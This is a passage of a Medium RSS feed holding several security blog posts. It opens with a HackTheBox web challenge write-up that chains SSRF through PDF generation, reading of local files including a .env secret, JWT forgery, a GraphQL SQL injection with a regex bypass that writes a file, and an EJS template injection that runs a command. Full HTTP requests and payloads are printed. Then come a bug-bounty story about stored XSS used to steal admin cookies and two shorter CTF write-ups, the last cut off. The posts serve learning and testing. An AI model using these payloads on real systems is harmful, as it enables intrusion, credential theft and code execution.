use in the last part of the challenge.</p><h4><strong>/app/views/errors folder</strong></h4><p>Let’s return to this folder. It contains .ejs files, which can be used simultaneously for front-end and back-end purposes. We identified the line &lt;%= error %&gt;, which uses a server-side template to display the HTTP error according to the HTTP status code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*g-qnGW1bxzVtYsxUW7YYOg.png" /></figure><ul><li>If the HTTP status is 400, it loads 400.ejs and the user will see &quot;Bad Request&quot; along with the error message.</li><li>If the HTTP status is 401, it loads 401.ejs and the user will see &quot;Unauthorized&quot; along with the error message.</li><li>If the HTTP status is 500, it loads 500.ejs and the user will see &quot;Server Error&quot; along with the error message.</li><li>(IMPORTANT) If the HTTP response code does not have a corresponding view template, it will load error.ejs as a generic error page. For example, if we receive a 403 response, it will load error.ejs since 403.ejs does not exist.</li></ul><p>From a code analysis perspective, we’ve covered everything we need to know. To summarize what we need to do:</p><ol><li>Generate a JWT token as a guest user.</li><li>Use SSRF via PDF generation to read system files and leak the .env file containing the secret used to sign the JWT tokens.</li><li>Forge a JWT admin token to interact with admin functionality at the /graphql endpoint.</li><li>Use SSRF to bypass the 127.0.0.1 restriction and interact with the /graphql endpoint.</li><li>Exploit a GraphQL SQL injection to create a file in the system with a regex bypass.</li><li>Abuse arbitrary error template creation to exploit a Server-Side Template Injection (SSTI) to execute a binary that will read a flag located in the root directory.</li></ol><h3>Full Exploitation</h3><h4>1. Access /getToken in order to generate a JWT token as a guest user.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mlpV9dW0tCisGfHz0C9Y4w.png" /></figure><p>Guest JWT token:</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ2NTYyOH0.y-8HjWq08rSQTqKv6e-9nHUN2UI_8Ysi2UOXL9m1mTM</pre><h4>2. Use SSRF via PDF generation to read system files and leak the .env file containing the secret used to sign the JWT tokens.</h4><p>To accomplish this, we will use the following exploit:</p><p><a href="https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/">wkhtmltopdf SSRF | Exploit Notes</a></p><p>In your VPS, create a PHP payload to read the local file.</p><p><strong>ssrf.php</strong></p><pre>&lt;?php header(&#39;location:file://&#39;.$_REQUEST[&#39;x&#39;]); ?&gt;</pre><p>Create the following HTML file in the same directory you created the PHP payload.</p><p><strong>ssrf.html</strong></p><pre>&lt;iframe src=https://&lt;VPSIP&gt;:8000/srf.php?x=/etc/passwd width=1000px height=1000px&gt;&lt;/iframe&gt;</pre><p>Then, start the web server on your VPS (in the same directory where you have ssrf.html and ssrf.php).</p><pre>php -S 0.0.0.0:8000</pre><p>Now, let’s interact with the /download endpoint. Send the following POST request:</p><pre>POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ2NTYyOH0.y-8HjWq08rSQTqKv6e-9nHUN2UI_8Ysi2UOXL9m1mTM HTTP/1.1<br>Host: 94.237.62.237:56066<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Connection: close<br>Upgrade-Insecure-Requests: 1<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 22<br><br><br><br>url=https://&lt;YOUR_VPS_IP&gt;:8000/ssrf.html</pre><p>If everything worked correctly, a PDF will be generated with the content of /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*pYMzLP3qfWwNqvc_uTtObw.png" /></figure><p>Now that we know we can read system files, let’s read the .env file to leak the secret needed to forge JWT tokens. In your ssrf.html file, put the following:</p><pre>&lt;iframe src=https://&lt;VPSIP&gt;:8000/srf.php?x=/app/.env width=1000px height=1000px&gt;&lt;/iframe&gt;</pre><p>Now, send a POST request to /download as you did previously. You will see that you can read the /app/.env file, leaking the secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*izAYXd8Z7y7FpDj0mbT3Ew.png" /></figure><pre>secret=Str0ng_K3y_N0_l3ak_pl3ase?</pre><h4>3. Forge a JWT admin token to interact with admin functionality at the /graphql endpoint.</h4><p>To forge the JWT token, we can use <a href="https://github.com/ticarpi/jwt_tool">jwt_tool</a> as follows (you will replace the user role with <strong>admin</strong>).</p><pre>jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ2NTYyOH0.y-8HjWq08rSQTqKv6e-9nHUN2UI_8Ysi2UOXL9m1mTM -T -S hs256 -p &#39;Str0ng_K3y_N0_l3ak_pl3ase?&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orMlbcEUpp2pQu_5BQAUxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iU-kgUEJVO-ixkfmEbzLjw.png" /></figure><h4>Admin JWT Token:</h4><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTY0NjU2Mjh9.UJ3YbgJ7Txxm7Y4qFAwUs3ZuO40BBHGE8VWejIe0U3M</pre><h4>4. Use SSRF to bypass the 127.0.0.1 restriction and interact with the /graphql endpoint.</h4><p>With the admin JWT token, we are able to interact with the /admin and /graphql endpoints. However, the backend checks if the connection comes from 127.0.0.1.</p><p>To bypass this restriction, we can abuse the same SSRF we identified when generating a PDF.</p><p>Let’s check if we can access the /admin endpoint.</p><pre>POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ2NTYyOH0.y-8HjWq08rSQTqKv6e-9nHUN2UI_8Ysi2UOXL9m1mTM HTTP/1.1<br>Host: 94.237.62.237:56066<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Connection: close<br>Upgrade-Insecure-Requests: 1<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 163<br><br>url=http://127.0.0.1:1337/admin?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTY0NjU2Mjh9.UJ3YbgJ7Txxm7Y4qFAwUs3ZuO40BBHGE8VWejIe0U3M</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*na9xh-Ix9boTB7aCcI0uwQ.png" /></figure><p>Here, we validated that we can bypass the 127.0.0.1 restriction by abusing the SSRF in the URL passed to generate a PDF.</p><h4>5. Exploit a GraphQL SQL injection to create a file in the system with a regex bypass</h4><p>In one of the .js files (/app/static/js/admin.js), we identified a POST request to interact with GraphQL. However, if you check the /app/routes/public.js file, you can see that the application also accepts GET requests, which is super handy since we will send the request via the SSRF we identified.</p><pre>router.all(&quot;/graphql&quot;, authMiddleware(&quot;admin&quot;), (req, res, next) =&gt; {<br>    createHandler({ schema, context: { pool } })(req, res, next); <br>});</pre><p>So we can craft our post request as following:</p><pre>POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTY0Njc2MjN9.7E_Glgas4Qzxej5rQGbn1fP5_u7fpYeU75OHuxn-qls HTTP/1.1<br>Host: 94.237.59.197:32514<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Connection: close<br>Upgrade-Insecure-Requests: 1<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 232<br><br>url=http://127.0.0.1:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTY0Njc2MjN9.7E_Glgas4Qzxej5rQGbn1fP5_u7fpYeU75OHuxn-qls%26query={getDataByName(name:&quot;john&quot;){id+name+department+isPresent}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*Se0dNMGIp0XayHgww2gBPA.png" /></figure><p>Great! Here, we confirmed that we can send the request as a GET request using the parameter getDataByName. As you probably remember, the SQL injection is in this parameter, but we need to bypass the regex.</p><pre>function detectSqli (query) {<br>    const pattern = /^.*[!#$%^&amp;*()\-_=+{}\[\]\\|;:&#39;\&quot;,.&lt;&gt;\/?]/<br>    return pattern.test(query)<br>}</pre><p>To bypass the regex, we need add a newline character using \n. Since we identified this bypass, let&#39;s check if we can read system files, for example, by reading /etc/passwd via the SQL injection.</p><pre>POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTY0Njc2MjN9.7E_Glgas4Qzxej5rQGbn1fP5_u7fpYeU75OHuxn-qls HTTP/1.1<br>Host: 94.237.59.197:32514<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Connection: close<br>Upgrade-Insecure-Requests: 1<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 232<br><br>url=http://127.0.0.1:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTY0Njc2MjN9.7E_Glgas4Qzxej5rQGbn1fP5_u7fpYeU75OHuxn-qls%26query={getDataByName(name:&quot;\n&#39;UNION+ALL+SELECT+1,LOAD_FILE(&#39;/etc/passwd&#39;),null,null--+-&quot;){id+name+department+isPresent}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*xLihPnSozOVKzw5DA4GHHA.png" /></figure><p>Perfect, the bypass worked and we can read the system files. If you are familiar with SQL injection in a CTF context, you know that when you can read system files via SQL injection, you can often also write arbitrary files. This will be the next step of this challenge.</p><h4>6. Abuse arbitrary error template creation to exploit a Server-Side Template Injection (SSTI) to execute a binary that will read a flag located in the root directory.</h4><p>As I mentioned in the source code analysis, the HTTP response code indicates which .ejs file will be loaded. The file should be located in the /app/views/errors folder.</p><p>We searched a bit and identified that .ejs files could be used to create a Server-Side Template Injection (SSTI). Thank you <a href="https://twitter.com/_JohnHammond">John Hammond</a> 😊</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fcl94KRdJRxw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dcl94KRdJRxw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fcl94KRdJRxw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/84bd79a1bfceafe79c3f90fcb8dec8da/href">https://medium.com/media/84bd79a1bfceafe79c3f90fcb8dec8da/href</a></iframe><p>So, the idea is to create an .ejs file inside /app/views/errors that will be loaded when we receive a certain type of HTTP response code.</p><p>To trigger an error, we can simply try to access a random path, which will generate an HTTP 404 Not Found response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9bztH_kB0VSH7NBtnqtY4A.png" /></figure><p>If we look into the /app/views/errors folder, there is no 404.ejs file. Consequently, the idea is to create a 404.ejs file with a template injection payload to execute the binary located in /readflag. So, as soon as we access a random URL again, it will trigger the 404 HTTP error and load our payload.</p><p>To create this 404.ejs file, send the following request:</p><pre>POST /download?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYzMjA2MDV9.X6hjojsuhpUzPJLS-zsJhgVQp4l2vfT4TklBH6KF4ko HTTP/1.1<br>Host: 94.237.59.197:32514<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Connection: close<br>Upgrade-Insecure-Requests: 1<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 232<br><br>url=http://127.0.0.1:1337/graphql?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTYzMjA2MDV9.X6hjojsuhpUzPJLS-zsJhgVQp4l2vfT4TklBH6KF4ko%26query={getDataByName(name:&quot;\n&#39;UNION+ALL+SELECT+1,&#39;&lt;%-+global.process.mainModule.require(child_process).spawnSync(/readflag).stdout+%&gt;&#39;,null,null+INTO+OUTFILE+&#39;/app/views/errors/404.ejs&#39;--+-&quot;){id+name+department+isPresent}}</pre><p>Now, when you access a path that does not exist, the template you created for the 404 response will be triggered, and the command /readflag will be executed in the system, which will read the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*DM1gJiuoCuNBIKa5JTNvJA.png" /></figure><h3>CONCLUSION</h3><p>It was a super interesting challenge. We can clearly see that HackTheBox put a lot of effort into chaining all these vulnerabilities. What I liked most is that this challenge is quite realistic, and most of the bugs could easily be identified in real-world targets.</p><p>I want to give a shout-out to two people:</p><ul><li>My friend <a href="http://poorduck_/">poorduck </a>who reminded me that I already had SSRF that I could reuse to bypass the 127.0.0.1 restriction</li><li>My colleague <a href="http://char0nv/">Robin Descamps</a> for helping out in the last step of the challenge, where we exploited the Template Injection.</li></ul><p>I hope that my writeup helped you to understand better all the aspects of this challenge. If you want to read more writeups like this one or have any questions, you can find me on Twitter(X) <a href="http://twitter.com/dropn0w">@dropn0w</a>.</p><p>Stay safe and keep learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f8ff3e6ad51" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Story Behind My First Bug ]]></title>
            <link>https://dropn0w.medium.com/the-history-behind-my-first-bug-539b913b9667?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/539b913b9667</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Sat, 06 Jan 2024 20:22:26 GMT</pubDate>
            <atom:updated>2024-01-07T07:54:41.550Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*6sLlea59l3C-djDj8Y-Qwg.png" /></figure><p>Today, I want to tell you the story of my first bug. Actually, it was not only one but a double bug.</p><p>Last year, when I started hunting for bugs, the first bug (a double one) I found was a <strong>Client-Side Template Injection</strong> which became a <strong>Stored Cross-Site Scripting (XSS)</strong>, and I was able to steal admin cookies and hijack the admin session, allowing me to perform a session hijacking.</p><p>It was a program in the Synack Red Team platform. This was a brand-new target, so you can imagine the competition.</p><p>As it was a brand-new target, other researchers were throwing many payloads, hoping to pop an XSS. But, seeing all the payloads that people were using, I realized they had forgotten the famous <strong>{{7*7}}</strong>.</p><p>If you’re unfamiliar with this payload, it is used to identify if a target is vulnerable to some sort of <strong>Template Injection</strong>. When injecting this payload, if the target is vulnerable to template injection, the output should be <strong>49</strong>.</p><p>So, I tried to inject the template injection payload in one of the fields and saved the input. Luckily, when I accessed the page again, I saw 49. Bingo!</p><p>From that point, I knew I had something interesting to work on. Before this bug, my only experience with template injection was during CTFs or training. However, most of the time, when we encounter template injection challenges, we are often talking about a Server-Side Template Injection (commonly known as SSTI). In most of the cases I previously had, I dealt with a Remote Code Execution (RCE) exercise.</p><p>Consequently, I went down this path; I tried to enumerate the framework using the traditional payloads. You can find more explanations on this type of bug and the recon process on <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection"><strong>HackTricks</strong></a> or <a href="https://portswigger.net/web-security/server-side-template-injection"><strong>PortSwigger Academy</strong></a> website.</p><p>After a few tries, I thought it could be the Jinja2 or Twig framework, so I tried to use the payloads associated with those frameworks.</p><p>At that moment, I was confronted with the first barrier, a WAF. The WAF was catching everything I was trying to use when exploiting the SSTI for remote code execution. After a few minutes, one of the commands I tried caused the server to throw a message, which revealed a completely different framework.</p><p>I don’t remember exactly which framework it was, but when I googled it, I discovered this framework was associated with Angular. While googling, I found this <a href="https://pwn.no0.be/exploitation/web/angularjs/"><strong>Client-Side Template Injection cheat sheet</strong>.</a></p><p>From that point, I understood I was dealing with a <strong><em>Client-Side vulnerability</em></strong>. Consequently, I needed to abandon the idea of remote code execution.</p><p>The goal was to use this Client-Side Template Injection to perform a stored XSS. At that moment, I found a working payload that the WAF was not blocking:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ar7uD9WqvjjI1JbJWXPYeQ.png" /></figure><p><strong>Awesome! I had a stored XSS.</strong></p><p>But wait, having a stored XSS is good, but what is the impact? This is one of the parts I enjoy the most: identifying how I can weaponize this vulnerability. To create maximum impact, I needed to understand the application and the particular functionality.</p><p>Let’s try to understand the context of this application. For testing in that program, hunters received three types of accounts: Admin, Manager, and Employee. The vulnerable functionality was where the Manager could add a new ‘Skill’ to the platform. When the ‘Skill’ was created, its name was listed in the General Skill Area. Only Managers and Admins had access to this functionality. Furthermore, the vulnerable parameter was the name of the Skill. So, I guess you already have a feeling about what I was trying to do.</p><p>My plan was to use the Stored XSS, initiated through Client-Side Template Injection as a Manager, to trick the Admin and perform a malicious action.</p><p>In this context, the most impactful attack I could conceive was stealing the Admin’s cookies to perform an account hijack. However, to execute this attack, I needed to be certain that the application was not using <strong>HttpOnly</strong> cookies. Fortunately, the application wasn’t using HttpOnly, enabling me to use this Stored XSS to hijack an admin session.</p><p>Perfect, now I had the bug and a compelling scenario to demonstrate maximum impact.</p><p>I wrote a detailed report and submitted it. Then went to take a bath with my fiancée. As we were discussing, I had a <strong><em>huge flash moment</em></strong>.</p><p><strong>I said to her</strong>: “Wait a sec, there’s another location where I saw 49.”</p><p><strong>She replied:</strong> “What are you talking about?”</p><p><strong>I replied</strong>: “When I first started testing, I identified another functionality where I could create an event, and the name of the event became 49. This is also vulnerable.”</p><p><strong>She said:</strong> “I have no idea what you are talking about.”</p><p>As you can imagine, I was just thinking out loud, literally in the zone, thinking about the bug I had just found.</p><p><strong>I said</strong>: “Listen, let me just write another report, I’ll be back in 15 minutes.”</p><p>My fiancée noticed that I was almost shaking. At the same time, I realized I had a second bug, but especially because it was a brand-new program, hunters were trying super hard to find bugs, and I was really afraid of losing my bug.</p><p>I didn’t want my discovery to become a worthless duplicate because I lost a few minutes.</p><p>She understood and said: “Sure, go, go, go!”</p><p>If you hunt on the Synack Red Team platform, you know how strict Synack is with report quality. So, I needed to rush but maintain the excellent report quality, with all the steps, screenshots, and details included. I wrote the second report faster than the first one and submitted it. Indeed, the attack and bug were similar but exploiting a different functionality.</p><p>After I submitted the second report, I could finally chill out as the adrenaline rush dropped. It was time to spend some quality time with her and have a proper dinner.</p><p>Less than 24 hours later, I received a message regarding the first bug:</p><blockquote><strong><em>“Congratulations, your bug has been accepted!</em></strong></blockquote><blockquote><strong><em>Nice find, great job!”</em></strong></blockquote><p>At that moment, I was literally jumping with happiness. It was my first valid bug, and it had quite a good payout. I immediately shared a screenshot of the message and the amount with my fiancée. She was super happy for me.</p><p>Later on the same day, we were having dinner with my mother because we were going on holiday the next day. It’s kind of a ritual for us, having a good dinner before going on holidays. During the dinner, I received an email on my phone. When I checked it, I saw an email from Synack with a similar subject:</p><blockquote><strong><em>‘Your bug was Accepted!’</em></strong></blockquote><p>I remember that in the restaurant, I reacted exactly like this meme:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*tTyvS3qAb5S1ayDH7umB9Q.png" /></figure><p>As you can imagine, the timing was PERFECT. Two HIGH bugs were found just before the holidays. I can really say that it allowed us to have more financial freedom during the holiday. It enabled us to create truly unforgettable memories. It was even during this trip I made my proposal to her.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*WSdh8tibZL1itJisv_YKaQ.png" /></figure><p>Now you understand why the payload<strong> {{7*7}}</strong> really has a special meaning for me.</p><p>The takeaways from this post are:</p><ul><li>Don’t limit yourself to basic and traditional payloads.</li><li>Try to trigger an error; this can reveal sensitive information you can use to your advantage.</li><li>If you identify a bug, look into other locations. Most of the time, the application has similar bugs in different places.</li><li>Try to understand the application and create a threat model. It will help you write your report better and demonstrate real impact.</li><li>Take a break. Sometimes, the best ideas come when you are away from your screen.</li><li>Take good notes when going through the application, and don’t miss the opportunity to reuse the same bug you found in another location or functionality.</li><li>Hacking is fun, but don’t forget to spend time with your family, loved ones, and friends.</li></ul><p>I hope you enjoyed reading the story behind this bug.</p><p>If you’ve found bugs yourself, I hope you also have an interesting story to share with your friends and family. I believe we all have at least one.</p><p>If you haven’t found your first bug yet, no worries. It can take time; just keep trying and look for what others might have overlooked. This approach can help you create great leads. Also, always think about creating impact. Sometimes, technically complex bugs aren’t impactful enough to be considered as security issues in bug bounty programs.</p><p>I hope to bring more stories like this in the future.</p><p>Stay tuned and happy hacking!</p><p><strong>Find me on X (Twitter)➡️</strong> <a href="https://twitter.com/dropn0w">dropn0w</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=539b913b9667" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solve Me — DownUnderCTF2022]]></title>
            <link>https://dropn0w.medium.com/solve-me-downunderctf2022-2eaaab889fea?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/2eaaab889fea</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[blockchain-technology]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Sun, 25 Sep 2022 09:56:02 GMT</pubDate>
            <atom:updated>2022-09-25T09:58:36.425Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Solve Me — DownUnderCTF 2022</strong></h3><p><strong>CTF EVENT: </strong>DownUnderCTF 2022</p><p><strong>DIFFICULTY </strong>: Easy</p><p><strong>CATEGORY:</strong> blockchain</p><p><strong>POINTS</strong>: 50</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*jlHphtWEHVctsPJVEJ7pmg.png" /></figure><p><strong>INTRODUCTION:</strong></p><p>Long time no see my friend!</p><p>A few weeks ago, I started learning blockchain and when I saw that they added some blockchain challenges this year. So, I decided to give it a try.</p><p>This is an “easy” challenge, but I will try to put as many details as I can in this writeup.</p><p>Enjoy!</p><p><strong>CHALLENGE:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*l2S78E9R-GRmWZj6TLP7aQ.png" /></figure><p>The challenge gives us all the information about the http provider, source code of the smart contract, our address, our private key, our balance, the port number, the chain id and the smart contract address. See print below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*kvFmImaEwNBQpq3Hollv0A.png" /><figcaption>main challenge page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*JeG_1yoZ74JtfJq58A7D5A.png" /><figcaption>/challenge info page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*6_Z477evGOrMrKdrIC5JgQ.png" /><figcaption>/challenge/solve page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*_dfkNK_SBEht8aFnPXeybw.png" /><figcaption>Smart Contract source code</figcaption></figure><p>The first thing that we need to understand is the smart contract source code. Looking at the source code, we identify:</p><p>· The name of the contract: SolveMe</p><p>· A Boolean set as “<strong>false</strong>”</p><p>· A function called “solveChallenge() which is set as “external” (important information !!!). When executed this function, it changes the Boolean to “<strong>true”</strong>. (by the way, this is the goal of the challenge)</p><p>The “<strong>external</strong>” set in the function means that an external person (in this case us) can execute this function.</p><p>The challenge says that we need to “call” this function. However, we need to differentiate what it means when dealing with a blockchain.</p><p>At a high-level, there are two ways to interact with a blockchain:</p><p>1. Using the <strong>call()</strong> function, where we will only “view” the information saved in the blockchain</p><p>2. Using the <strong>buildTransaction()</strong> function, where we will <strong>make changes</strong> in the blockchain.</p><p>If we use the call() function to call the function solveChallenge, it will only view the function and won’t change the state of the blockchain. However, we need to call this function to change the state of the blockchain (to set the Boolean to “true”). Therefore, we will need to use the function buildTransaction().</p><p>As the function’s name already says, “buildTransaction”, we will need to build a transaction from scratch.</p><p>To build the transaction, I created a python script using the web3 library.</p><p>The script looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z9ezezsQTMCcOI1rlRxVrg.png" /></figure><p><a href="https://github.com/dropn0w/Write-Ups/tree/main/CTF/DownUnderCTF_2022/blockchain/SolveMe">Please find the full script and requirements.txt on my GitHub.</a></p><p>As soon as we ran this script, we changed the state of the blockchain. Now we go to the page /challenge/solve and find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*Gh3-Q7jyAV7723Px6qY-Cw.png" /><figcaption>Flag</figcaption></figure><p><strong>CONCLUSION:</strong></p><p>It was a great challenge. This challenge helps us to understand a basic smart contract, how to connect to the blockchain and how to interact with it.</p><p>I hope DownUnder will keep creating challenges like that one in the future. Great job guys!</p><p>I hope that my write-up helped you to understand better all the aspects of this challenge. If you want to read more writeups like this one or have any questions, you can find me on Twitter <a href="http://twitter.com/dropn0w">@dropn0w</a>.</p><p>Stay curious and keep learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2eaaab889fea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insomni’hack Teaser 2022 — ExPiltration — Forensics Challenge]]></title>
            <link>https://dropn0w.medium.com/insomnihack-teaser-2022-expiltration-forensics-challenge-7e4044746efe?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e4044746efe</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[investigation]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Mon, 07 Feb 2022 18:50:29 GMT</pubDate>
            <atom:updated>2022-02-07T18:50:29.130Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Insomni’hack Teaser 2022 — ExPiltration — Forensics Challenge</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*WDUwdp_3Mrag30vx6Uw7ag.png" /></figure><p><strong>CTF EVENT</strong>: Insomni’hack Teaser 2022</p><p><strong>DIFFICULTY</strong>: Medium/hard</p><p><strong>CATEGORY</strong>: Forensics / Misc</p><h3>INTRODUCTION:</h3><p>A few weeks ago I had the opportunity to play the insomni’hack teaser 2022. <a href="https://twitter.com/sh4na">shana</a> and I managed to solve one of the two Forensics challenges of this CTF. This challenge requires a lot of skills that Digital Forensics analysts should have.</p><p>I heard that Insomni’hack is known to be a hard CTF. So I wanted to give it a try.</p><p>In order to solve this challenge, you must have a basic knowledge of the Linux Filesystem, logs analysis, Python scripting, and a dose of Forensics Mindset.</p><p>In this write-up, I will go through the different steps that we applied to solve this challenge. Have fun!</p><h3>CHALLENGE:</h3><p>Oh shit.. (!) Our network has been compromised and data stored on an air-gaped device stolen, but we don’t know exactly what has been extracted and how? We have 24/7 video surveillance in the server room, and nobody has approached the device… Here is all I have, could you please give us a hand?</p><p><strong>File to download</strong>: forensic-data.zip</p><p><strong>WALKTHROUGH :</strong></p><p>As soon as we unzip this zip file, we can see a video in <strong>.mp4 </strong>format and a <strong>folder</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*bpa8sTfS0i52P82zArKpgg.png" /></figure><p>Playing the video, give us already some insights :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*gWUS3wiHEr8qHKuPllh_ww.png" /></figure><p>1- We are dealing with a Raspberry Pi and most of the time in a Linux OS (to be confirmed later).</p><p>2- We can see a timelapse in the top left of the screen.</p><p>3- It is a 59:32 video long.</p><p>4- Only the red light is ON at the beginning of the video, but after a specific moment, we can also see some activities due to the green light.</p><p>In the<strong> storage</strong> folder, we found the following folders :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*z77g7iTybJKk1LyxDwwlXQ.png" /></figure><p>It confirms that we are dealing with a Linux machine. Indeed, this is Linux Filesystem. Some of those folders are empties. However, in some, we can find a lot of files.</p><p>As there are many files, we need to find a way to work efficiently. Maybe the video can help us with that.</p><p>Indeed, thanks to the video, we can recreate a timeline of the malicious event.</p><p>At a particular moment of the video, we know the lights start 